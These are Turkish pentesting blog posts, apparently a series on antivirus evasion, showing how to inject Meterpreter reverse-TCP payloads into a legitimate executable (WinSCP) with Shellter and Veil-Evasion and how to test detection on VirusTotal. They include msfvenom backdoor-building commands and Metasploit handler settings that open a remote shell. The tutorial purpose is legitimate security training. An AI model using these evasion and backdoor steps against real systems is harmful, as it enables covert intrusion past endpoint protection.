<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4ZAOfOI_o9h6FqRHCt9SPHkJ-Yrg_2NFM2vS3DE4N_m4IpAk4S8GWMTV_oCwEsPJAft74WmVOWO6QIoei414X-NVpUFoX2cIEYAeNmAmvaOkVk-qOcvL7erDJoiPxMVu1R8bHF_RykQ/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="371" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4ZAOfOI_o9h6FqRHCt9SPHkJ-Yrg_2NFM2vS3DE4N_m4IpAk4S8GWMTV_oCwEsPJAft74WmVOWO6QIoei414X-NVpUFoX2cIEYAeNmAmvaOkVk-qOcvL7erDJoiPxMVu1R8bHF_RykQ/s400/2.png" width="400" /></a></div>
<b>Auto Mode</b><br />
<br />
İlk olarak auto mod ile bir zararlı yazılım oluşturalım ve bunun online tarama sayfalarındaki sonuçlarını görelim. Seçilecek olan mod <b>Auto</b>, uygulamaya girilecek opsiyon ise <b>A</b>'dır. Yapılacak işlemin modunu seçtikten sonra arka kapıyı enjekte edeceğimiz çalıştırılabilir dosya formatındaki dosyanın yolunu vermemiz gerekmektedir. Örnek olarak <b>SFTP </b>yazılımı olan <b>WinSCP</b>'yi kullanıyoruz.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxVhWt43uL0wq4wEL5KYv0Y3pbWQ9i-Nu1RcKLxOYZBXal2uDVmAyvC8UBf2zKKM0BMYLSKccI-A1zxXA-U2i1iMnd3QgVaVjivsxuFktYyD2rS-E_T7nzPBpe4vfPHmzpwADQ8kaf9Q/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="296" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxVhWt43uL0wq4wEL5KYv0Y3pbWQ9i-Nu1RcKLxOYZBXal2uDVmAyvC8UBf2zKKM0BMYLSKccI-A1zxXA-U2i1iMnd3QgVaVjivsxuFktYyD2rS-E_T7nzPBpe4vfPHmzpwADQ8kaf9Q/s400/3.png" width="400" /></a></div>
<b>Stealth Mode
</b><br />
<br />
Bahsi geçen Stealth modu, Shellter'in 5.0 versiyonuyla beraber gelmiştir. Bu modun aktif edilmesi ile bir dosyaya birden çok sayıda payload enjekte edilebilmektedir. Enjekte edilen payloadlar birbirinden bağımsız şekilde çalışabilirler.<br />
<br />
<b>Payloads</b>
<br />
<br />
Versiyon 4 ile birlikte Shellter kendi içerisinde gömülü olarak payload seçme seçenekleri sunuyor demiştik. Sunulan seçenekler arasında <b>meterpreter </b>için <b>bind ve reverse TCP, reverse HTTP ve HTTPS</b> gibi Metasploit payloadları mevcuttur. Bu yazıda Shellter içerisinde gömülü olarak gelen payloadlardan olan <b>Meterpreter_Reverse_TCP</b> kullanılacaktır.<br />
Bir sonraki yazıda ise özel olarak kendi ürettiğimiz payload'ı Shellter aracılığıyla çalıştırılabilir dosyaya enjekte edip sonuçları göreceğiz.<br />
Listelenmiş payloadlardan birini kullanmak için interaktif ekrana <b>L </b>girmemiz gerekiyor. Daha sonra kullanacağımız payloadın, verilenler arasından, index numarasının girilmesi gerekmektedir.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2_VfTYLWErhLt4KvLJVj4kWNrUc9bYwG7_0DrSJC84fwayUvW0a2RtllSuk6QqlNn1mc9fVhfH09l32BOQRbKfRE2idT17WIaoDyGQI4wfDndRaT6T8kvBFeOkIpZovvQKZ1r36ypjQ/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2_VfTYLWErhLt4KvLJVj4kWNrUc9bYwG7_0DrSJC84fwayUvW0a2RtllSuk6QqlNn1mc9fVhfH09l32BOQRbKfRE2idT17WIaoDyGQI4wfDndRaT6T8kvBFeOkIpZovvQKZ1r36ypjQ/s400/4.png" width="363" /></a></div>
<br />
Payloadın index numarasını girdikten sonra, payloadın tipine bağlı olarak girilmesi gereken parametrelerin değerleri olacaktır. Bizim seçtiğimiz payload için girilmesi gerken iki parametre vardır. <b>LHOST </b>ve <b>LPORT </b>değerleri. Bunlar Metasploit tarafında başlatacağımız handler için dinlemede bulunacak <b>IP </b>ve <b>port </b>değerleridir. Gerekli değerler girildikten sonra Shellter, payload ile ilgili kısa bir özet geçerek zararlı enjekte işlemine başlayacaktır.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVmhfwoDEhti-cXDuruRnZLKCR8QZQF6Oz5BwAzr4p7cgo0eVoQysKE_NlHKxL3armLPd6BrRh3OZndEswcAxI1Om1AHMkL_dPxPHF6H57tf_0APoYfQUlNA1fp2ZkKyoIY5Bni-HXow/s1600/4_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVmhfwoDEhti-cXDuruRnZLKCR8QZQF6Oz5BwAzr4p7cgo0eVoQysKE_NlHKxL3armLPd6BrRh3OZndEswcAxI1Om1AHMkL_dPxPHF6H57tf_0APoYfQUlNA1fp2ZkKyoIY5Bni-HXow/s400/4_1.png" width="400" /></a></div>
<br />
Kısa bir sürenin ardından, çalıştırılabilir dosyanın boyutuna bağlı olarak, seçtiğimiz payload çalıştırılabilir dosyaya enjekte edilecektir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfpchvdUqUV6T0Uf0v0wPoIS5TwB8KGBT4YFdap3tOWBmiUlaKwlvh2fT_NPnGMZPGrTFDO3SOgeqW4OLh3n1mmar1EEEddy_PCmCqxaiYg5fC6PO0ka3H-fsOBzEdzOJ8EvrLimKbog/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="245" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfpchvdUqUV6T0Uf0v0wPoIS5TwB8KGBT4YFdap3tOWBmiUlaKwlvh2fT_NPnGMZPGrTFDO3SOgeqW4OLh3n1mmar1EEEddy_PCmCqxaiYg5fC6PO0ka3H-fsOBzEdzOJ8EvrLimKbog/s400/5.png" width="400" /></a></div>
<b>Tarama Sonucu </b><br />
<br />
Oluşturduğumuz zararlı yazılımın, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak <a href="https://www.virustotal.com/" target="_blank">VirusTotal </a>sayfasında yaptığımız taramanın sonucunu görelim.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5LUT49yU-k9T4aNBTd96naM8YfwGU9N61P2FKVI430PvC0-V9SjeGHiEDJdP4Dbp0FcZrKatY7r8lzI7zkvpKiBiLEjOXX0eMIeMrNO3gjFbqAgRupthI-7pZQYDccgezWOR8TUEQSQ/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5LUT49yU-k9T4aNBTd96naM8YfwGU9N61P2FKVI430PvC0-V9SjeGHiEDJdP4Dbp0FcZrKatY7r8lzI7zkvpKiBiLEjOXX0eMIeMrNO3gjFbqAgRupthI-7pZQYDccgezWOR8TUEQSQ/s640/7.png" width="640" /></a></div>
<br />
Bir diğer online malware tarama sayfası olan <a href="https://virusscan.jotti.org/" target="_blank">Jotti</a>'den gelen sonucunu görelim.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOIAEBvy1-yozo6gKD66UhXdOETJ8XOPNfMe-946wAXM7C_yYWGk4_XacJw7fUCPE469FzFOXY1vSVvzvVZ5kZooU1mjY_sHhaVSdK3Gyzx5Wn3mC0iUpNKWSrAqzkJjWJ9R6p2KD-Jg/s1600/7_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOIAEBvy1-yozo6gKD66UhXdOETJ8XOPNfMe-946wAXM7C_yYWGk4_XacJw7fUCPE469FzFOXY1vSVvzvVZ5kZooU1mjY_sHhaVSdK3Gyzx5Wn3mC0iUpNKWSrAqzkJjWJ9R6p2KD-Jg/s640/7_1.png" width="640" /></a></div>
<br />
Resimlerden anlaşılacağı üzere <b>Shellter </b>anti-virus bypass yazılımı, <a href="http://blog.crypttech.com/2015/10/anti-virus-atlatma-veil-evasion.html" target="_blank">bir önceki yazıda</a> anlattığımız <b>Veil-evasion</b>'dan daha iyi sonuçlar vermektedir.<br />
<br />
<b>Reverse Bağlantı
</b><br />
<br />
Oluşturduğumuz zararlı yazılım öncelikle Metasploit tarafında dinlemeye almamız gerekiyor, gelen bağlantıları yakalamak için. Bunu yapmak için <b>multi/handler</b> modülünü kullanarak gerekli opsiyonları düzenleyip dinlemeyi başlatmamız gerek.<br />
Bunun için oluşturduğumuz payloada göre girilecek komutlar aşağıdaki gibidir.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">use exploit/multi/handler </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set payload windows/meterpreter/reverse_tcp</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set lhost 172.17.7.134 </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set lport 5656 </span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">set exitonsession false</span></li>
<li><span style="font-family: "courier new" , "courier" , monospace;">exploit -j -z </span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitqKOXMF7TQFD2sqha94WEkFE_UEOnjrN13b4IHX2vUVLFuxG2ymh2JlVrhx7KWsVdvXre_RIvEwWIi-_ZDMyEjMju9mvEch3Sd4Gc12fPsKkM7GqVruAWXtcUVB71oCwpb3rsNqE4HQ/s1600/6_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitqKOXMF7TQFD2sqha94WEkFE_UEOnjrN13b4IHX2vUVLFuxG2ymh2JlVrhx7KWsVdvXre_RIvEwWIi-_ZDMyEjMju9mvEch3Sd4Gc12fPsKkM7GqVruAWXtcUVB71oCwpb3rsNqE4HQ/s400/6_2.png" width="400" /></a></div>
<br />
Oluşturulan zararlı yazılımın kurban bilgisayarında çalıştırılması
sonucunda, dinlemeye aldığımız handler'a session düşecektir.
<br />
<ul>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyPZ_Qj2m0N7nuW_k-liVd-2nmgfjzrhbkcVnfiILsxUfLYoKwNfFRnvsy5nhUCnUA5moeMrgJEZr2LH66TeM2_jY9K0ki1ZlADvdoHOOu4myql_7S0zjJ6YDKYFlpbK0vnuCdkKroQQ/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="288" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyPZ_Qj2m0N7nuW_k-liVd-2nmgfjzrhbkcVnfiILsxUfLYoKwNfFRnvsy5nhUCnUA5moeMrgJEZr2LH66TeM2_jY9K0ki1ZlADvdoHOOu4myql_7S0zjJ6YDKYFlpbK0vnuCdkKroQQ/s640/6.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
Bir sonraki yazıda Shellter'ı kullanarak, <b>kendi oluşturduğumuz</b> payloadı çalıştırılabilir bir dosyaya enjekte edeceğiz ve tarama sonuçlarını karşılaştıracağız.
Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-59522117476305230512015-11-06T10:17:00.000-08:002015-11-06T10:24:54.659-08:00Anti-Virus Atlatma - Veil-Evasion <div style="text-align: left;">
Merhaba,<br />
Yazı dizisi şeklinde yayınlamayı planladığım ve anti-virüs bypass işlemlerinin, farklı araçlar ile yapılmasını, bunların online virüs tarama sitelerindeki sonuçlarını görebileceğiniz bir formatta oluşturacağım yazı dizisinin ilki ile başlıyoruz.<br />
</div>
<div style="text-align: left;">
Sızma testleri sırasında test edilen bazı makinelerde <b>Endpoint security</b> olarak<b> anti-virüs</b> yazılımları kurulu olabilir. Böyle durumlarda bağlantı kurulan/kurulacak makinede <b>meterpreter </b>yada başka bir Metasploit shell'i açmak için anti-virus bypass yazılımları kullanmak gerekebilir. Temel olarak bu tarz yazılımlar kullandıkları çeşitli encoding yöntemleriyle anti-virüslerden gizlenebilmektedirler. Yazımızda işleyeceğimiz araç <b>Veil-evasion</b>'dur. Veil, açık kaynak kodlu olarak geliştirilen bir framework'tür. Biz Veil framework içerisindeki anti-virüs atlatma aracı olan Veil-evasion'u kullanacağız.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b>Kurulum</b></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Linux üstüne kurulumu için mevcut kodlarının olduğu Github sayfasından (<a href="https://github.com/Veil-Framework/Veil-Evasion">https://github.com/Veil-Framework/Veil-Evasion</a>) indirip <b>setup </b>klasörünün altında bulunan <b>setup.sh</b> scripti ile kurulumu yapabilirsiniz.</div>
<div style="text-align: left;">
</div>
<ul style="text-align: left;">
<li><span style="font-family: "courier new" , "courier" , monospace;">git clone https://github.com/Veil-Framework/Veil-Evasion.git
</span></li>
<span style="font-family: "courier new" , "courier" , monospace;">
</span>
<li><span style="font-family: "courier new" , "courier" , monospace;">cd Veil-Evasion/setup </span></li>
<span style="font-family: "courier new" , "courier" , monospace;">
</span>
<li><span style="font-family: "courier new" , "courier" , monospace;">bash setup.sh -s<a name='more'></a></span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh-lEpwKF7RAz8FlIepMgB6NuOfHMZzNMCYfjXMk2-CBJ4EAUL5-e9-njrIkqWc2JFFBoU0UinhJdIxxeaDNiCsaUQ1IV9jZM_zSswkePci7gcdcCJLCNoDzQST-vvxViGlsl1OpEZWg/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="592" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh-lEpwKF7RAz8FlIepMgB6NuOfHMZzNMCYfjXMk2-CBJ4EAUL5-e9-njrIkqWc2JFFBoU0UinhJdIxxeaDNiCsaUQ1IV9jZM_zSswkePci7gcdcCJLCNoDzQST-vvxViGlsl1OpEZWg/s640/1.png" width="640" /></a></div>
<div style="text-align: left;">
Veya depo'dan direkt olarak bağımlılıklarıyla beraber kurulumunu yapabilirsiniz. Bunun için;<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">apt-get install veil-evasion</span></li>
</ul>
Çok sayıda paketi de kendisiyle beraber kuracaktır. İndirme ve kurulum işlemleri bittikten sonra terminal ekranında yapılandırılan konfigürasyonlar ve dosya yolları görünecektir. 32 bit bir işletim sisteminde daha rahat olacaktır kurulum işlemi. 64 bit sistemlerde kurulum yapıldığı zaman, gerekli yan uygulamalar ve wine 32bitlik sistemlere göre kurulacak ve yapılandırılacaktır, çoğu zaman da hata ile karşılaşılabilmektedir.
<br />
<br />
Konfigürasyon dosyası olan <b>'/etc/veil/settings.py'</b> içerisinde sisteminize uygun değişiklikleri yapabilirsiniz. Konfigürasyon dosyasında boş olarak görünen alan olan <b>MSFVENOM_OPTIONS</b> kısmı payload oluşturma sırasında ham bir payload yerine ek parametrelerle bir payload oluşturma imkanı sağlar. Örnek olarak oluşturma sırasında seçilecek bir encode tekniği kullanılarak birkaç iterasyondan geçirmesi sağlanabilir.
<br />
<span style="mso-ansi-language: TR;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOiuCbYlW3GTP4UL9CrTt81KnEASgTfi3Orr1V6ZkQfKWkksTSt-0gnZN2ZYdwwOBDAp8ATdnytFohV7SEA8TZ7CvvS3I2q80J19YJtu30C9tFauZbc1MHIYyXX3gJ7eXZQOKfczfKSA/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="432" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOiuCbYlW3GTP4UL9CrTt81KnEASgTfi3Orr1V6ZkQfKWkksTSt-0gnZN2ZYdwwOBDAp8ATdnytFohV7SEA8TZ7CvvS3I2q80J19YJtu30C9tFauZbc1MHIYyXX3gJ7eXZQOKfczfKSA/s640/2.png" width="640" /></a></div>
<br />
<b>Veil-evasion </b><br />
<br />
Kaynak koddan kurduysanız <b>Veil-Evasion</b> klasöründeki<b> Veil-Evasion.py</b> dosyasını çalıştırarak, depodan kurduysanız, komut satırından <b>veil-evasion</b> komutunu girerek başlatabilirsiniz. Başlangıç ekranından görüldüğü üzere şu an için kullandığımız versiyon olan<b> 2.22.1</b> için kullanılabilecek <b>47 </b>payload vardır.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdP2UtST5J6R_QnWwfjo_aEPPisilg8HD8vLqlVj0mKYm9KNIYdK_RuSGHonIlzc20A-NGLHFU7NinTpXi-2BRVL_FkMCasLz-BqoRFRVzTi_en_IIKtb1gWeQRlkM74EJ9jW9svdMHw/s1600/2_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdP2UtST5J6R_QnWwfjo_aEPPisilg8HD8vLqlVj0mKYm9KNIYdK_RuSGHonIlzc20A-NGLHFU7NinTpXi-2BRVL_FkMCasLz-BqoRFRVzTi_en_IIKtb1gWeQRlkM74EJ9jW9svdMHw/s640/2_1.png" width="640" /></a></div>
<br />
<b>Kullanım </b><br />
<br />
Kullanımı Metasploit ile benzerdir ve <b>TAB </b>ile tamamlama desteği vardır. Öncelikle <b>list </b>diyerek kullanılabilecek payloadları görelim. Aşağıda verilmiş olan resimden de anlaşılacağı üzere <b>C, C#, GO, Python, Ruby, Powershell</b> gibi dilleri kullanarak oluşturulabilen payloadları vardır. Bir payloadı seçmek için <i>use </i>komutunu kullanmanız gerekmektedir.<b> use [Payload index numarası] </b>veya<b> use [Payload ismi]</b> kullanım şekilleri ile kullanılabilir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7miZbVQhVU8XRH8jbSwosfPa7c_R4m5t5HHPBEvSsIKS-lL0KOIqzDNnpzmO-kCeH2cFNtx4Y-pRbsXbvgWikoVek07Edv7Ybom5oKVIYYYv8GDU8IXg0ggaA2numoxVQiBhdkR7ZFA/s1600/2_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7miZbVQhVU8XRH8jbSwosfPa7c_R4m5t5HHPBEvSsIKS-lL0KOIqzDNnpzmO-kCeH2cFNtx4Y-pRbsXbvgWikoVek07Edv7Ybom5oKVIYYYv8GDU8IXg0ggaA2numoxVQiBhdkR7ZFA/s640/2_2.png" width="504" /></a></div>
<b>Örnek</b>
<br />
<br />
Örnek olarak <b>Python </b>ile yazılmış, <b>meterpreter </b>ile bize<b> reverse_tcp</b> bağlantı verecek olan payloadı kullanalım. Seçtiğimiz payload: <b>python/meterpreter/rev_tcp</b>, index numarası <b>31</b>.<br />
Bu payloadı kullanmak için <b>use 31</b> veya <b>use python/meterpreter/rev_tcp</b> diyoruz.<br />
Gelen ekranda görüldüğü üzere birçok parametre vardır.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzEHltrN0JD8NYjL0pnddUTcbFo3Z18YgY_bARhRRbPghuj-cBXQhhYh5LJySCzyW5scLnMyL_4AZ41Iqixp2dB_yhxkX1uyvz_iP3sRfLrdk0UtbPcdNOo5OF9vog0RRF5-Sw8DOe0A/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzEHltrN0JD8NYjL0pnddUTcbFo3Z18YgY_bARhRRbPghuj-cBXQhhYh5LJySCzyW5scLnMyL_4AZ41Iqixp2dB_yhxkX1uyvz_iP3sRfLrdk0UtbPcdNOo5OF9vog0RRF5-Sw8DOe0A/s640/4.png" width="640" /></a></div>
<br />
Bunları teker teker açıklamak gerekise;<br />
<br />
<ul>
<li><b>ARCHITECTURE:</b> Varsayılan olarak 32 bittir. Üretilecek olan zararlı yazılımın işlemci mimarisini belirtir.</li>
<li><b>COMPILE_TO_EXE:</b> Varsayılan olarak Y'dir. Üretilecek olan zararlı yazılımın çalıştırılabilir bir dosya tipi olarak EXE'ye dönüştürülmesini belirtir.</li>
<li><b>EXPIRE_PAYLOAD:</b> Opsiyonel olarak kullanılabilir bir alandır. Devre dışı bırakılacak özelliği tanımlamamızı sağlar.</li>
<li><b>LHOST:</b> Metasploit'te dinlemeyi yapacağımız handler'in IP adresi. </li>
<li><b>LPORT:</b> Metasploit'te dinlemeyi yapacağımız handler'in port adresi.</li>
<li><b>USE_PYHERION:</b> Varsayılan olarak N'dir. Üretilecek zararlı yazılımın ek olarak Python'un pyherion şifrelemesinden geçirileceğini belirtir.
</li>
</ul>
<br />
<b>Msfvenom ile backdoor
</b><br />
<br />
Veil ile oluşturacağımız zararlı yazılım ile karşılaştırıp farkı görmek açısından önce Metasploit araçlarından olan msfvenom ile basit bir arka kapı oluşturalım.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.17.7.132 LPORT=7788 -f exe -o rawBackdoor.exe </span></li>
</ul>
Oluşturduğumuz zararlı yazılımı online bir anti-virüs tarama sitesi olan <a href="https://www.virustotal.com/">https://www.virustotal.com/</a> üstünde tarayalım ve sonuçları görelim.<br />
<b><span style="color: red;">Not: </span></b>Bu tarz sistemler çıktılardan gelen sonuçları anti-virüs firmalarıyla paylaştığı ve imza tabanlı çalıştığı için, önceden yapılan taramalardan dolayı oluşturulan payloadları çok sayıda anti-virus yazılımı keşfedebilir düzeye gelmiştir. Bu yüzden anti-virus bypass uygulamalarında bir not olarak, online sistemlerde taratmayın diye not düşebilirler.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuyZDwURHz6bU3zjCLmz4p8-fWvhySz6ECWNNREMW1yJoL9nwCLPQPGWJlPOmF0_zoZWSJbhMkkspQ5t7SdMPa1HDFhqLcEz6fYIECW9Hprt1q7-JDCUFHWqD435lT7EDxd-t78FC2jA/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuyZDwURHz6bU3zjCLmz4p8-fWvhySz6ECWNNREMW1yJoL9nwCLPQPGWJlPOmF0_zoZWSJbhMkkspQ5t7SdMPa1HDFhqLcEz6fYIECW9Hprt1q7-JDCUFHWqD435lT7EDxd-t78FC2jA/s640/3.png" width="640" /></a></div>
<br />
<b>Veil ile backdoor</b><br />
<br />
Veil üstünde oluşturacağımız zararlı yazılımın, seçtiğimiz modüle göre, gerekli parametrelerini girdikten sonra <b>generate </b>komutu ile oluşturma işlemini başlatabiliriz.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTQD4NrK5cODvvw0nQptu-9SJw-CoSBQVcrm_8x1V9l4JdNVXg6ziufdCSnVKOfnxgyKNekkzU3ej9DbWaTI_aRxCgu-lGwTuYd8H3YgfZE8eMNWCIPgDFoKjUN325TA0_mRTMrmzWqA/s1600/4_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="224" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTQD4NrK5cODvvw0nQptu-9SJw-CoSBQVcrm_8x1V9l4JdNVXg6ziufdCSnVKOfnxgyKNekkzU3ej9DbWaTI_aRxCgu-lGwTuYd8H3YgfZE8eMNWCIPgDFoKjUN325TA0_mRTMrmzWqA/s640/4_1.png" width="640" /></a></div>
<br />
<b>Generate </b>dedikten sonra oluşturma işlemine başlamadan önce bize çıktı olarak vereceği dosyanın adını ne koyacağımızı soruyor. Bu değer default olarak '<b>payload</b>' olarak belirlenmiştir. Seçtiğimiz modülün parametrelerinden olan <b>COMPILE_TO_EXE</b>'ye argüman olarak Y değerini verdiğimiz için oluşturalacak olan <b>Python </b>dosyasını <b>exe </b>olarak çalıştırılabilir dosya formatına dönüştürecektir. Burada oluşturulan çıktı dosyasının, çalıştırılabilir dosya formatına dönüştürülmesi işlemi farklı python modülleri gerçekleşebilmektedir. Veil içinde default olarak <b>Pyinstaller </b>kullanılmaktadır. Bizde bu yazı sırasında <b>1</b> seçeneğinde bulunan Pyinstaller'ı kullanacağız. <b>1</b> değerini girdikten sonra arka kapı oluşturma işlemi başlıyor.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj05ZIhtcqairyFU4Z3dkQM-lrr4_jdYMKNRW6OkP1IIIndcbOwhc_j4PeTm1mJmTr3hJcmw0nqsc9idDsrIrsyUo3t1kgsmtrlP525aPEOFF_S8fV34gNeEwHQIgW17ttIMfzjgV0ipQ/s1600/5_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj05ZIhtcqairyFU4Z3dkQM-lrr4_jdYMKNRW6OkP1IIIndcbOwhc_j4PeTm1mJmTr3hJcmw0nqsc9idDsrIrsyUo3t1kgsmtrlP525aPEOFF_S8fV34gNeEwHQIgW17ttIMfzjgV0ipQ/s640/5_1.png" width="640" /></a></div>
<br />
Zararlı yazılımın oluşturma işlemi tamamlandı. Verilen çıktıda, oluşturulan zararlı yazılım ile ilgili birkaç özellik bulunmaktadır. Bunlar, hangi dilde oluşturulduğu, payload olarak hangi metasploit payload'ı kullanıldığı, kullanılan parametreler ve bunlara verilen değerler, payload dosyasının (zararlı yazılımımızın) bulunduğu konum ve handler dosyasının bulunduğu konum.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYsILtimg17DS6Kv1nqtyh3ftQ0iJNTSDbi6UM5F5dgIBA1SkZzf2NqVaZ5uMZx35t-8e9SzZi6ApnsW4s8VlrTGV0cxRi7xyoM3hHFAn2zXhHkH0C8APr0DKu869V7y0ljHj6X_bKpA/s1600/5_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYsILtimg17DS6Kv1nqtyh3ftQ0iJNTSDbi6UM5F5dgIBA1SkZzf2NqVaZ5uMZx35t-8e9SzZi6ApnsW4s8VlrTGV0cxRi7xyoM3hHFAn2zXhHkH0C8APr0DKu869V7y0ljHj6X_bKpA/s640/5_2.png" width="640" /></a></div>
<br />
<b>Metasploit handler resource</b><br />
<br />
Burada oluşturulan <b>handler </b>dosyası (<b>resource</b>), Metasploit tarafında gelen bağlantıları bekleme sırasında oluşturacağımız handler'in script versiyonudur. Handler dosyası ile Metasploit tarafında, otomatik olarak komutları oluşturulan, oluşturduğumuz zararlı yazılıma göre parametreleri girip beklemeyi başlatabiliriz. Scripti Metasploit üstünde çalıştırmak için komut satırından<b> msfconsole -r [Resource dosya konumu]</b> veya açık olan Metasploit komut ekranında <b>resource </b>komutuyla şu şekilde yapılabilir<b> resource [Resource dosya konumu].</b> Örnek bir kullanım aşağıda verilmiştir.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicmdedWNLd6YQz5Gaxy2RH8ku3XjbXzI-haPrxl3CyrHZaVEiIGjR7nkuilrNbVh7pljiKRJYmNPc4ANgmMVTNQTBDJzhpzJT2oFYdUlOQ6nqj95LND7AofRQRbONrzznJJCUFN85K_A/s1600/6_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicmdedWNLd6YQz5Gaxy2RH8ku3XjbXzI-haPrxl3CyrHZaVEiIGjR7nkuilrNbVh7pljiKRJYmNPc4ANgmMVTNQTBDJzhpzJT2oFYdUlOQ6nqj95LND7AofRQRbONrzznJJCUFN85K_A/s640/6_1.png" width="640" /></a></div>
<br />
<b>Tarama sonucu</b><br />
<br />
Oluşturulan zararlı yazılımın, yapmamamız gereken, online tarama sonucu aşağıda ki resimlerde verilmiştir. İlk olarak popüler olan <a href="https://www.virustotal.com/" target="_blank"><b>VirusTotal </b></a>sayfasında yaptığımız taramanın sonucunu paylaşalım.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
